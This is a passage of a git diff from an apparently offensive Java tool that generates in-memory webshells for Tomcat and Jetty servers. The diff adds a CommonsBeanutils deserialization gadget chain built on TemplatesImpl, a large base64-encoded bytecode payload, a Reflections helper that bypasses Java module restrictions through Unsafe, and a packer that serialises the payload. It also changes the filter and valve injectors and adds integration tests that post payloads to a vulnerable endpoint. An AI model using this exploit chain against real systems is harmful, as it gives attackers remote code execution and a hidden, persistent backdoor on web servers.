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"; + byte[] bytes = Base64.getDecoder().decode(base64); + Object payload = getPayload(bytes); + byte[] serialize = serialize(payload); + System.out.println(new String(Base64.getEncoder().encode(bytes))); + } + + @SneakyThrows + public static byte[] serialize(Object obj) { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(obj); + oos.flush(); + oos.close(); + return baos.toByteArray(); + } +} \ No newline at end of file diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java new file mode 100644 index 00000000..b161442e --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java @@ -0,0 +1,52 @@ +package com.reajason.javaweb.deserialize; + +import com.reajason.javaweb.deserialize.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; + +/** + * @author ReaJason + * @since 2024/12/9 + */ +public class TemplateUtils { + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + public static Class TPL_CLASS = TemplatesImpl.class; + public static Class ABST_TRANSLET = AbstractTranslet.class; + public static Class TRANS_FACTORY = TransformerFactoryImpl.class; + + static { + try { + // 兼容不同 JDK 版本 + if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) { + TPL_CLASS = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"); + ABST_TRANSLET = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + TRANS_FACTORY = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"); + } + } catch (Exception ignored) { + } + } + + @SneakyThrows + public static TemplatesImpl createTemplatesImpl(byte[] bytes) { + TemplatesImpl templates = new TemplatesImpl(); + byte[] fooBytes = new byte[0]; + try (DynamicType.Unloaded make = new ByteBuddy() + .subclass(Object.class).name("foo") + .make()) { + fooBytes = make.getBytes(); + } + + Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{ + bytes, fooBytes + }); + + Reflections.setFieldValue(templates, "_transletIndex", 0); + Reflections.setFieldValue(templates, "_name", "SimpleJava"); + Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + return templates; + } +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java new file mode 100644 index 00000000..f9b63b1c --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java @@ -0,0 +1,49 @@ +package com.reajason.javaweb.deserialize.utils; + +import com.reajason.javaweb.deserialize.CommonsBeanutils19; + +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +@SuppressWarnings("restriction") +public class Reflections { + static { + try { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Object unsafe = unsafeField.get(null); + Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); + java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); + Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); + java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); + getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module); + } catch (Exception ignored) { + } + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) { + field = getField(clazz.getSuperclass(), fieldName); + } + } + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } +} diff --git a/generator/build.gradle b/generator/build.gradle index 7a744598..37668e37 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -22,7 +22,30 @@ idea { } } +def runtimeJvmArgs = [ + '--add-opens=java.base/java.util=ALL-UNNAMED', + '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED', + '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED' +] + +tasks.withType(JavaCompile).configureEach { + options.compilerArgs += [ + '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED', + '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED' + ] +} + +tasks.withType(Test).configureEach { + jvmArgs += runtimeJvmArgs +} + +// For running the application +tasks.withType(JavaExec).configureEach { + jvmArgs += runtimeJvmArgs +} + dependencies { + implementation project(":deserialize") implementation 'net.bytebuddy:byte-buddy:1.+' implementation 'javax.servlet:javax.servlet-api:3.0.1' implementation 'javax.websocket:javax.websocket-api:1.1' diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java new file mode 100644 index 00000000..fb9c25e3 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.deserialize.CommonsBeanutils19; +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +public class DeserializePacker implements Packer { + @Override + @SneakyThrows + public byte[] pack(GenerateResult generateResult) { + Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes()); + return serialize(payload); + } + + @SneakyThrows + public static byte[] serialize(Object obj) { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(obj); + oos.flush(); + oos.close(); + return baos.toByteArray(); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java index 04e6b32c..d294076b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java @@ -3,6 +3,8 @@ package com.reajason.javaweb.memsell.packer; import com.reajason.javaweb.config.GenerateResult; import lombok.Getter; +import java.util.Map; + /** * @author ReaJason * @since 2024/11/26 @@ -17,6 +19,17 @@ public interface Packer { */ byte[] pack(GenerateResult generateResult); + /** + * 部分打包器可能需要配置来进行额外的配置项 + * + * @param generateResult 生成的内存马信息 + * @param config 配置 + * @return 字节数组 + */ + default byte[] pack(GenerateResult generateResult, Map config) { + throw new UnsupportedOperationException(); + } + @Getter static enum INSTANCE { @@ -28,7 +41,13 @@ public interface Packer { /** * 脚本引擎打包器 */ - ScriptEngine(new ScriptEnginePacker()); + ScriptEngine(new ScriptEnginePacker()), + + /** + * 反序列化打包器 + */ + Deserialize(new DeserializePacker()), + ; private final Packer packer; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java index d2e12e4a..209bb63a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java @@ -206,7 +206,6 @@ public class TomcatFilterInjector { @SuppressWarnings("all") public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { - ClassLoader catalinaLoader = getCatalinaLoader(); String filterClassName = getClassName(); Object filterDef; Object filterMap; @@ -230,8 +229,8 @@ public class TomcatFilterInjector { filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); } catch (Exception e) { // tomcat v5 - filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance(); - filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance(); + filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, context.getClass().getClassLoader()).newInstance(); + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, context.getClass().getClassLoader()).newInstance(); } } try { @@ -247,7 +246,7 @@ public class TomcatFilterInjector { } catch (Exception e) { // tomcat v5 invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors(); + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors(); } try { // v7.0.0 以上 @@ -257,24 +256,18 @@ public class TomcatFilterInjector { } constructors[0].setAccessible(true); - Object filterConfig = constructors[0].newInstance(context, filterDef); - Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); - filterConfigs.put(filterClassName, filterConfig); + try { + Object filterConfig = constructors[0].newInstance(context, filterDef); + Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); + filterConfigs.put(filterClassName, filterConfig); + } catch (Exception e) { + // 一个 tomcat 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到 + if (!(e.getCause() instanceof ClassNotFoundException)) { + throw e; + } + } } catch (Exception e) { e.printStackTrace(); } } - - public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - ClassLoader catalinaLoader = null; - for (Thread thread : threads) { - // 适配 v5 的 Class Loader 问题 - if (thread.getName().contains("ContainerBackgroundProcessor")) { - catalinaLoader = thread.getContextClassLoader(); - break; - } - } - return catalinaLoader; - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java index 688dc2fe..f7216e04 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java @@ -42,6 +42,7 @@ public class TomcatValveInjector { if (valve == null) { continue; } + System.out.println(valve); injectValve(context, valve); } } catch (Exception e) { @@ -157,6 +158,7 @@ public class TomcatValveInjector { @SuppressWarnings("all") public void injectValve(Object context, Object valve) throws Exception { if (isInjected(context, valve.getClass().getName())) { + System.out.println("valve already injected"); return; } try { diff --git a/integration-test/build.gradle b/integration-test/build.gradle index 8a793183..d8ccccbd 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -14,6 +14,7 @@ version = '' dependencies { testImplementation project(":vul-webapp") testImplementation project(':generator') + testImplementation 'org.hamcrest:hamcrest:3.0' testImplementation 'com.squareup.okhttp3:okhttp:4.12.0' testImplementation 'org.slf4j:slf4j-simple:2.0.16' testImplementation 'net.bytebuddy:byte-buddy:1.15.1' @@ -33,6 +34,14 @@ tasks.withType(Test).tap { } } +tasks.withType(Test).configureEach { + jvmArgs += [ + '--add-opens=java.base/java.util=ALL-UNNAMED', + '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED', + '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED' + ] +} + idea { module { excludeDirs -= file('build') diff --git a/integration-test/docker-compose/tomcat/docker-compose-5-jdk6.yaml b/integration-test/docker-compose/tomcat/docker-compose-5-jdk6.yaml index 47990a23..51e809ad 100644 --- a/integration-test/docker-compose/tomcat/docker-compose-5-jdk6.yaml +++ b/integration-test/docker-compose/tomcat/docker-compose-5-jdk6.yaml @@ -1,5 +1,5 @@ services: - tomcat66: + tomcat56: image: reajason/tomcat:5-jdk6 ports: - "8080:8080" diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java b/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java new file mode 100644 index 00000000..3b95ac3f --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java @@ -0,0 +1,27 @@ +package com.reajason.javaweb.integration; + +import org.hamcrest.Description; +import org.hamcrest.TypeSafeMatcher; + +public class DoesNotContainExceptionMatcher extends TypeSafeMatcher { + + @Override + protected boolean matchesSafely(String logs) { + return !logs.contains("Exception"); + } + + @Override + public void describeTo(Description description) { + description.appendText("logs without exceptions"); + } + + @Override + protected void describeMismatchSafely(String logs, Description mismatchDescription) { + mismatchDescription.appendText("found logs containing exceptions:\n") + .appendText(logs.replaceAll("(?m)^", " ")); + } + + public static DoesNotContainExceptionMatcher doesNotContainException() { + return new DoesNotContainExceptionMatcher(); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index f52c1670..5b250785 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -5,7 +5,7 @@ import com.reajason.javaweb.config.*; import com.reajason.javaweb.memsell.packer.Packer; import lombok.extern.slf4j.Slf4j; -import java.util.Objects; +import java.util.Base64; /** * @author ReaJason @@ -35,30 +35,33 @@ public class ShellAssertionTool { .headerName("User-Agent").headerValue(headerValue) .build(); log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue); - String godzillaContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer))); - assertInjectIsOk(url, shellType, shellTool, godzillaContent, packer); + byte[] content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer); + assertInjectIsOk(url, shellType, shellTool, content, packer); GodzillaShellTool.testIsOk(shellUrl, godzillaConfig); break; case Command: String paramName = "Command" + shellType + packer.name(); CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build(); - String commandContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer))); + byte[] commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer); log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName()); assertInjectIsOk(url, shellType, shellTool, commandContent, packer); CommandShellTool.testIsOk(shellUrl, commandConfig); } } - public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) { + public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, byte[] content, Packer.INSTANCE packer) { if (Packer.INSTANCE.JSP.equals(packer)) { String uploadEntry = url + "/upload"; String filename = shellType + shellTool + ".jsp"; String shellUrl = url + "/" + filename; - VulTool.uploadJspFileToServer(uploadEntry, filename, content); + VulTool.uploadJspFileToServer(uploadEntry, filename, new String(content)); VulTool.urlIsOk(shellUrl); } else if (Packer.INSTANCE.ScriptEngine.equals(packer)) { String uploadEntry = url + "/js"; - VulTool.postJS(uploadEntry, content); + VulTool.postData(uploadEntry, new String(content)); + } else if (Packer.INSTANCE.Deserialize.equals(packer)) { + String uploadEntry = url + "/java_deserialize"; + VulTool.postData(uploadEntry, Base64.getEncoder().encodeToString(content)); } } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java index 3073f30d..9e18005e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java @@ -38,16 +38,16 @@ public class VulTool { } @SneakyThrows - public static void postJS(String uploadUrl, String js) { + public static void postData(String uploadUrl, String data) { RequestBody requestBody = new FormBody.Builder() - .add("js", js) + .add("data", data) .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") .url(uploadUrl).post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { - Assertions.assertEquals(200, response.code()); + Assertions.assertNotEquals(404, response.code()); } } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java index 25205bf1..466f0df0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -4,7 +4,9 @@ import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -17,13 +19,16 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.params.provider.Arguments.arguments; /** * @author ReaJason * 